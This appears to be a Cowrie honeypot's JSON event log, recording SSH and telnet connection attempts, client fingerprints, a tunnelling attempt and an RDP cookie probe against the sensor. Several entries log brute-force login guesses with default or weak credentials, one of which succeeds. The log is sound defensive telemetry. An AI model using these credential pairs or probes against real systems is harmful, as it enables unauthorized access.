{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.428649Z","src_ip":"87.251.64.176","session":"ecc5ce585a8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.716504Z","src_ip":"87.251.64.176","session":"ecc5ce585a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopa","message":"login attempt [root/qwertyuiopa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.751209Z","src_ip":"103.27.238.116","session":"22eeb623fbe4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.814949Z","session":"ecc5ce585a8c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:47.916077Z","src_ip":"87.251.64.176","session":"ecc5ce585a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:48.016977Z","src_ip":"87.251.64.176","session":"ecc5ce585a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48536,"dst_ip":"159.203.135.109","dst_port":22,"session":"f853f4862c2d","protocol":"ssh","message":"New connection: 103.27.238.120:48536 (159.203.135.109:22) [session: f853f4862c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:48.633533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:48.639271Z","src_ip":"103.27.238.120","session":"f853f4862c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:48.911798Z","src_ip":"103.27.238.120","session":"f853f4862c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:49.018405Z","src_ip":"103.27.238.116","session":"22eeb623fbe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"korova","message":"login attempt [root/korova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:49.727581Z","src_ip":"103.27.238.120","session":"f853f4862c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:52:51.002190Z","src_ip":"103.27.238.120","session":"f853f4862c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.05468678474426,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:01.657706Z","src_ip":"152.42.224.71","session":"6ad56864ab5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.59336304664612,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:02.591932Z","src_ip":"152.42.224.71","session":"0e2e49cbd218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56160,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9a8d5f2356","protocol":"telnet","message":"New connection: 152.42.224.71:56160 (10.17.0.5:23) [session: ad9a8d5f2356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:05.031428Z"}
{"eventid":"cowrie.session.closed","duration":113.0630509853363,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:07.232435Z","src_ip":"152.42.224.71","session":"8cfdd88e0c7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f0377b9869","protocol":"telnet","message":"New connection: 152.42.224.71:39304 (10.17.0.5:23) [session: 66f0377b9869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:08.000225Z"}
{"eventid":"cowrie.session.closed","duration":56.21362042427063,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:13.424308Z","src_ip":"152.42.224.71","session":"db2c3fe98674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915136337280273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:14.567622Z","src_ip":"152.42.224.71","session":"59b8d164e9d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34504,"dst_ip":"10.17.0.5","dst_port":23,"session":"df8be47b746b","protocol":"telnet","message":"New connection: 152.42.224.71:34504 (10.17.0.5:23) [session: df8be47b746b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:16.360667Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39306,"dst_ip":"10.17.0.5","dst_port":23,"session":"4febcf7a90ab","protocol":"telnet","message":"New connection: 152.42.224.71:39306 (10.17.0.5:23) [session: 4febcf7a90ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:16.371111Z"}
{"eventid":"cowrie.session.closed","duration":41.66884398460388,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:19.955427Z","src_ip":"152.42.224.71","session":"d7a2b4a447ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.88608002662659,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:22.218574Z","src_ip":"152.42.224.71","session":"d06e9d3c908f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a5f34f26c90","protocol":"telnet","message":"New connection: 152.42.224.71:51164 (10.17.0.5:23) [session: 0a5f34f26c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:27.241936Z"}
{"eventid":"cowrie.session.closed","duration":88.0791883468628,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:30.304131Z","src_ip":"152.42.224.71","session":"666eac5850a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ce0fca2881a","protocol":"telnet","message":"New connection: 152.42.224.71:51166 (10.17.0.5:23) [session: 4ce0fca2881a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:31.056179Z"}
{"eventid":"cowrie.session.closed","duration":39.06468605995178,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:44.096005Z","src_ip":"152.42.224.71","session":"ad9a8d5f2356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.075775146484375,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:44.436302Z","src_ip":"152.42.224.71","session":"df8be47b746b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da02f618bf7","protocol":"telnet","message":"New connection: 152.42.224.71:50136 (10.17.0.5:23) [session: 1da02f618bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:48.348878Z"}
{"eventid":"cowrie.session.closed","duration":120.00223517417908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:49.224936Z","src_ip":"152.42.224.71","session":"83b52d80acb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45752,"dst_ip":"10.17.0.5","dst_port":22,"session":"4028053a3e4b","protocol":"ssh","message":"New connection: 147.45.197.250:45752 (10.17.0.5:22) [session: 4028053a3e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:49.987082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:49.991930Z","src_ip":"147.45.197.250","session":"4028053a3e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:50.081444Z","src_ip":"147.45.197.250","session":"4028053a3e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delfin","message":"login attempt [root/delfin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:50.352428Z","src_ip":"147.45.197.250","session":"4028053a3e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:51.444801Z","src_ip":"147.45.197.250","session":"4028053a3e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50144,"dst_ip":"10.17.0.5","dst_port":23,"session":"4784ee6e2758","protocol":"telnet","message":"New connection: 152.42.224.71:50144 (10.17.0.5:23) [session: 4784ee6e2758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:53.025583Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32788,"dst_ip":"10.17.0.5","dst_port":23,"session":"6543821dbb77","protocol":"telnet","message":"New connection: 152.42.224.71:32788 (10.17.0.5:23) [session: 6543821dbb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:53:56.499340Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32798,"dst_ip":"10.17.0.5","dst_port":23,"session":"22e5b99419fd","protocol":"telnet","message":"New connection: 152.42.224.71:32798 (10.17.0.5:23) [session: 22e5b99419fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:00.428599Z"}
{"eventid":"cowrie.session.closed","duration":44.92920804023743,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:01.300206Z","src_ip":"152.42.224.71","session":"4febcf7a90ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47034,"dst_ip":"10.17.0.5","dst_port":23,"session":"7071fea35c2c","protocol":"telnet","message":"New connection: 152.42.224.71:47034 (10.17.0.5:23) [session: 7071fea35c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:06.620034Z"}
{"eventid":"cowrie.session.closed","duration":29.806147813796997,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:18.154913Z","src_ip":"152.42.224.71","session":"1da02f618bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"b03641848546","protocol":"telnet","message":"New connection: 152.42.224.71:37536 (10.17.0.5:23) [session: b03641848546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:25.742045Z"}
{"eventid":"cowrie.session.closed","duration":58.62764549255371,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:25.869478Z","src_ip":"152.42.224.71","session":"0a5f34f26c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33028,"dst_ip":"10.17.0.5","dst_port":23,"session":"3103cfeeb014","protocol":"telnet","message":"New connection: 152.42.224.71:33028 (10.17.0.5:23) [session: 3103cfeeb014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:26.354648Z"}
{"eventid":"cowrie.session.closed","duration":35.46549940109253,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:28.490960Z","src_ip":"152.42.224.71","session":"4784ee6e2758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33032,"dst_ip":"10.17.0.5","dst_port":23,"session":"265c325983e8","protocol":"telnet","message":"New connection: 152.42.224.71:33032 (10.17.0.5:23) [session: 265c325983e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:29.439017Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33046,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d9a2acbeb0","protocol":"telnet","message":"New connection: 152.42.224.71:33046 (10.17.0.5:23) [session: 98d9a2acbeb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:30.978427Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4754c5b6d4c","protocol":"telnet","message":"New connection: 152.42.224.71:33048 (10.17.0.5:23) [session: d4754c5b6d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:31.212548Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa7f4f77b36","protocol":"telnet","message":"New connection: 152.42.224.71:33060 (10.17.0.5:23) [session: 7fa7f4f77b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:34.952371Z"}
{"eventid":"cowrie.session.closed","duration":35.10648036003113,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:35.534956Z","src_ip":"152.42.224.71","session":"22e5b99419fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48842,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2ba4c9df55","protocol":"telnet","message":"New connection: 152.42.224.71:48842 (10.17.0.5:23) [session: 0d2ba4c9df55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:41.578190Z"}
{"eventid":"cowrie.session.closed","duration":17.3303861618042,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:43.684901Z","src_ip":"152.42.224.71","session":"3103cfeeb014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.66043496131897,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:46.099360Z","src_ip":"152.42.224.71","session":"265c325983e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.24169111251831,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:47.861636Z","src_ip":"152.42.224.71","session":"7071fea35c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a66687b3e2","protocol":"telnet","message":"New connection: 152.42.224.71:37808 (10.17.0.5:23) [session: c5a66687b3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:47.890152Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58246,"dst_ip":"159.203.135.109","dst_port":22,"session":"569f89fa3528","protocol":"ssh","message":"New connection: 167.172.81.52:58246 (159.203.135.109:22) [session: 569f89fa3528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:52.069157Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:52.073352Z","src_ip":"167.172.81.52","session":"569f89fa3528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:52.079257Z","src_ip":"167.172.81.52","session":"569f89fa3528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca585b19a608","protocol":"telnet","message":"New connection: 152.42.224.71:37820 (10.17.0.5:23) [session: ca585b19a608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:54:52.219151Z"}
{"eventid":"cowrie.session.closed","duration":120.01629185676575,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:08.016320Z","src_ip":"152.42.224.71","session":"66f0377b9869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc656a6203ac","protocol":"telnet","message":"New connection: 152.42.224.71:60444 (10.17.0.5:23) [session: bc656a6203ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:08.813564Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"634afad39dd3","protocol":"telnet","message":"New connection: 152.42.224.71:40474 (10.17.0.5:23) [session: 634afad39dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:12.849894Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":59734,"dst_ip":"10.17.0.5","dst_port":22,"session":"283ffaf1e5e1","protocol":"ssh","message":"New connection: 181.47.9.103:59734 (10.17.0.5:22) [session: 283ffaf1e5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:18.252921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:55:18.257992Z","src_ip":"181.47.9.103","session":"283ffaf1e5e1","protocol":"ssh"}
